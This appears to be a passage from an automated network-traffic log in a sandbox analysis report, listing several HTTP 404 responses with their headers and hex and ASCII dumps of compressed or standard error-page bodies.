cfL4;desc="?proto=TCP&rtt=1456&min_rtt=1456&rtt_var=728&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=823&delivery_rate=0&cwnd=205&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 32 64 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ac 54 df 6f d3 30 10 7e df 5f 71 04 81 40 22 75 d3 0e b6 26 69 a4 d1 6e 62 12 3f 26 56 04 3c ba c9 35 36 24 76 b0 af 69 c3 c4 ff 8e 9c 64 6d 27 c6 c4 03 ce 8b 73 f7 dd f7 dd d9 77 8e 1f cd 3f cc 16 5f af ce 41 50 59 c0 d5 a7 d7 6f 2f 67 e0 f9 8c 7d 1e cf 18 9b 2f e6 f0 e5 cd e2 dd 5b 08 06 43 b8 26 23 53 62 ec fc bd 07 9e 20 aa 42 c6 36 9b cd 60 33 1e 68 93 b3 c5 47 b6 75 2c 81 0b eb b7 be 6d 63 06 19 65 5e 72 14 b7 22 db b2 50 76 7a 0f 41 30 99 4c ba 38 cf 81 c2 82 ab 7c ea a1 f2 60 b7 4b 62 81 3c 4b 8e 00 00 62 92 54 60 72 3c 3c 86 a7 65 c6 ad 88 e0 bd 26 b8 d0 6b 95 c5 ac 73 76 c0 12 89 83 d3 f3 f1 c7 5a d6 53 6f a6 15 a1 22 7f d1 54 e8 41 da fd 4d 3d c2 2d 31 a7 1f 41 2a b8 b1 48 d3 4f 8b 0b ff d4 63 87 44 8a 97 38 f5 32 b4 a9 91 15 49 ad 0e 18 ae b5 31 cd 0b a8 78 8e a0 34 c1 ca 25 b3 0b b7 d4 14 08 d4 54 d8 6b a5 d6 7a 9d cf ad a5 ce 1a b8 59 69 45 be 95 3f 31 0c 8e ab 6d 04 a9 2e b4 09 1f 9f b4 2b 82 d6 bd e2 a5 2c 9a 90 1b c9 8b 08 1c 95 cf 0b 99 ab 30 45 45 68 a2 5f 3b 4e 11 dc 61 3c 1d 1e 50 4e 26 67 27 67 17 11 Data Ascii: 2daTo0~_q@"u&inb?&V<56$vidm'sw?_APYo/g}/[C&#Sb B6`3hGu,mce^r"PvzA0L8\|`Kb<KbT`r<<e&ksvZSo"TAM=-1A*HOcD82I1x4%TkzYiE?1m.+,0EEh_;Na<PN&g'g
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 28 Nov 2024 08:15:26 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Sat, 14 Sep 2024 06:51:15 GMTcf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=59BQ5sQlMG%2F1MryFme4dyRB%2BCa6iuggC5IZ32I0NCZ3WUdQmqT9AWANf6fRMOLB%2FajHO7OddhU%2FXNEAmmj%2FzjQYHfTNdbqP5e6zIVLqhhidAyllh57%2BaqtwI3yDjHpEgGZehV18TeL1Wh%2BXJ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e98e8fc5ba95e7c-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1574&min_rtt=1574&rtt_var=787&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=843&delivery_rate=0&cwnd=181&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 32 63 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ac 54 df 6f d3 30 10 7e df 5f 71 04 81 40 22 75 d3 0e b6 26 69 a4 d1 6e 62 12 3f 26 56 04 3c ba c9 35 36 24 76 b0 af 69 c3 c4 ff 8e 9c 64 6d 27 c6 c4 03 ce 8b 73 f7 dd f7 dd d9 77 8e 1f cd 3f cc 16 5f af ce 41 50 59 c0 d5 a7 d7 6f 2f 67 e0 f9 8c 7d 1e cf 18 9b 2f e6 f0 e5 cd e2 dd 5b 08 06 43 b8 26 23 53 62 ec fc bd 07 9e 20 aa 42 c6 36 9b cd 60 33 1e 68 93 b3 c5 47 b6 75 2c 81 0b eb b7 be 6d 63 06 19 65 5e 72 14 b7 22 db b2 50 76 7a 0f 41 30 99 4c ba 38 cf 81 c2 82 ab 7c ea a1 f2 60 b7 4b 62 81 3c 4b 8e 00 00 62 92 54 60 72 3c 3c 86 a7 65 c6 ad 88 e0 bd 26 b8 d0 6b 95 c5 ac 73 76 c0 12 89 83 d3 f3 f1 c7 5a d6 53 6f a6 15 a1 22 7f d1 54 e8 41 da fd 4d 3d c2 2d 31 a7 1f 41 2a b8 b1 48 d3 4f 8b 0b ff d4 63 87 44 8a 97 38 f5 32 b4 a9 91 15 49 ad 0e 18 ae b5 31 cd 0b a8 78 8e a0 34 c1 ca 25 b3 0b b7 d4 14 08 d4 54 d8 6b a5 d6 7a 9d cf ad a5 ce 1a b8 59 69 45 be 95 3f 31 0c 8e ab 6d 04 a9 2e b4 09 1f 9f b4 2b 82 d6 bd e2 a5 2c 9a 90 1b c9 8b 08 1c 95 cf 0b 99 ab 30 45 45 68 a2 5f 3b 4e 11 dc 61 3c 1d 1e 50 4e 26 67 Data Ascii: 2cfTo0~_q@"u&inb?&V<56$vidm'sw?_APYo/g}/[C&#Sb B6`3hGu,mce^r"PvzA0L8\|`Kb<KbT`r<<e&ksvZSo"TAM=-1A*HOcD82I1x4%TkzYiE?1m.+,0EEh_;Na<PN&g
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 28 Nov 2024 08:15:29 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Sat, 14 Sep 2024 06:51:15 GMTcf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QVMafmkQv6i9ejtgc1j4zSvMTgutuCa4M%2BNvQb%2BkeHq5LyGcJplKH8NFYGVrzM7Qk7qHnwC7kR43lGr1N%2BXwnA2aUQrIWO7Jx7mm%2FF8zi%2FBNvJ73UCmCKAfnpMnf8MXLT3FtLSGcNw%2BTDtRV"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e98e90d8a35180d-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1463&min_rtt=1463&rtt_var=731&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1860&delivery_rate=0&cwnd=199&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 32 64 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ac 54 df 6f d3 30 10 7e df 5f 71 04 81 40 22 75 d3 0e b6 26 69 a4 d1 6e 62 12 3f 26 56 04 3c ba c9 35 36 24 76 b0 af 69 c3 c4 ff 8e 9c 64 6d 27 c6 c4 03 ce 8b 73 f7 dd f7 dd d9 77 8e 1f cd 3f cc 16 5f af ce 41 50 59 c0 d5 a7 d7 6f 2f 67 e0 f9 8c 7d 1e cf 18 9b 2f e6 f0 e5 cd e2 dd 5b 08 06 43 b8 26 23 53 62 ec fc bd 07 9e 20 aa 42 c6 36 9b cd 60 33 1e 68 93 b3 c5 47 b6 75 2c 81 0b eb b7 be 6d 63 06 19 65 5e 72 14 b7 22 db b2 50 76 7a 0f 41 30 99 4c ba 38 cf 81 c2 82 ab 7c ea a1 f2 60 b7 4b 62 81 3c 4b 8e 00 00 62 92 54 60 72 3c 3c 86 a7 65 c6 ad 88 e0 bd 26 b8 d0 6b 95 c5 ac 73 76 c0 12 89 83 d3 f3 f1 c7 5a d6 53 6f a6 15 a1 22 7f d1 54 e8 41 da fd 4d 3d c2 2d 31 a7 1f 41 2a b8 b1 48 d3 4f 8b 0b ff d4 63 87 44 8a 97 38 f5 32 b4 a9 91 15 49 ad 0e 18 ae b5 31 cd 0b a8 78 8e a0 34 c1 ca 25 b3 0b b7 d4 14 08 d4 54 d8 6b a5 d6 7a 9d cf ad a5 ce 1a b8 59 69 45 be 95 3f 31 0c 8e ab 6d 04 a9 2e b4 09 1f 9f b4 2b 82 d6 bd e2 a5 2c 9a 90 1b c9 8b 08 1c 95 cf 0b 99 ab 30 45 45 68 a2 5f 3b 4e 11 dc 61 3c 1d 1e 50 4e 26 67 27 Data Ascii: 2daTo0~_q@"u&inb?&V<56$vidm'sw?_APYo/g}/[C&#Sb B6`3hGu,mce^r"PvzA0L8\|`Kb<KbT`r<<e&ksvZSo"TAM=-1A*HOcD82I1x4%TkzYiE?1m.+,0EEh_;Na<PN&g'
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 28 Nov 2024 08:15:31 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Sat, 14 Sep 2024 06:51:15 GMTcf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uyxmWUU%2FHsSeGJc9Fk%2BD3Zqywqi1dEgTh0aOr1NA3vyoGXX03ccCMKODSNEnw6NwrqmwV5V%2BxleLJMCIMMMDhdFxXKEkQYDtoKZbh3ZgbB6jbUIFSHy4VH39Zovu51GMyT9SPIKjq7ctnEFk"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e98e91df89e1a24-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1993&min_rtt=1993&rtt_var=996&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=551&delivery_rate=0&cwnd=212&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 35 39 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 26 6d 64 61 73 68 3b 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 6f 72 72 79 2c 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 22 2f 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 Data Ascii: 59e<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head> <title>404 — Not Found</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> <meta name="description" content="Sorry, page not found"/> <style type="text/c
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 28 Nov 2024 08:16:10 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 28 Nov 2024 08:16:13 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 28 Nov 2024 08:16:16 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 28 Nov 2024 08:16:18 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 28 Nov 2024 08:16:43 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cce1df-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f 17 de 44 ff 37 28 b7 c7 cd 9d 29 bd 13 bd 53 74 17 91 d5 0f 16 37 b9 4a cd 61 81 e8 f6 01 b1 fe a9 d7 77 ea 47 2e e5 15 7a 7c 51 12 ca 9f 26 38 55 16 eb 6a 81 12 58 42 5d b7 f4 af 4f dc 3b 67 7d da db 7c 35 c5 17 bd 40 9c f8 52 6f 26 69 3c e8 62 9d db 05 0a 29 fd 7e c2 4b 6d 41 35 6e b6 2a 29 aa 35 e4 9c 12 ca 07 35 fd aa 41 5a ad d9 2c 90 00 f7 2f 97 73 a4 76 ae 11 57 72 aa a8 74 dd bb d8 16 db 02 31 4a 9f 9d 80 eb ce 3b b5 b3 e6 84 5e ea 6c 4a ee b5 aa aa d8 28 ab 3f 7d ea 07 69 af bd 9b 16 a6 c2 e9 ae 6e 07 60 aa 79 71 c6 cb 8a b2 c4 1b 93 42 9a 20 98 fc 9b 8a 33 95 ea b7 d5 85 5a b7 a3 16 a8 63 4e 71 45 95 99 5e 78 cc ab 8c fd 24 eb 57 00 2c 9e 92 7a 9c ae 6b 53 9f 01 93 98 33 1e 9e 00 27 a4 1e 78 50 75 05 4b 74 06 cd b2 24 11 e2 04 3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 28 Nov 2024 08:16:46 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cce1df-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f 17 de 44 ff 37 28 b7 c7 cd 9d 29 bd 13 bd 53 74 17 91 d5 0f 16 37 b9 4a cd 61 81 e8 f6 01 b1 fe a9 d7 77 ea 47 2e e5 15 7a 7c 51 12 ca 9f 26 38 55 16 eb 6a 81 12 58 42 5d b7 f4 af 4f dc 3b 67 7d da db 7c 35 c5 17 bd 40 9c f8 52 6f 26 69 3c e8 62 9d db 05 0a 29 fd 7e c2 4b 6d 41 35 6e b6 2a 29 aa 35 e4 9c 12 ca 07 35 fd aa 41 5a ad d9 2c 90 00 f7 2f 97 73 a4 76 ae 11 57 72 aa a8 74 dd bb d8 16 db 02 31 4a 9f 9d 80 eb ce 3b b5 b3 e6 84 5e ea 6c 4a ee b5 aa aa d8 28 ab 3f 7d ea 07 69 af bd 9b 16 a6 c2 e9 ae 6e 07 60 aa 79 71 c6 cb 8a b2 c4 1b 93 42 9a 20 98 fc 9b 8a 33 95 ea b7 d5 85 5a b7 a3 16 a8 63 4e 71 45 95 99 5e 78 cc ab 8c fd 24 eb 57 00 2c 9e 92 7a 9c ae 6b 53 9f 01 93 98 33 1e 9e 00 27 a4 1e 78 50 75 05 4b 74 06 cd b2 24 11 e2 04 3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 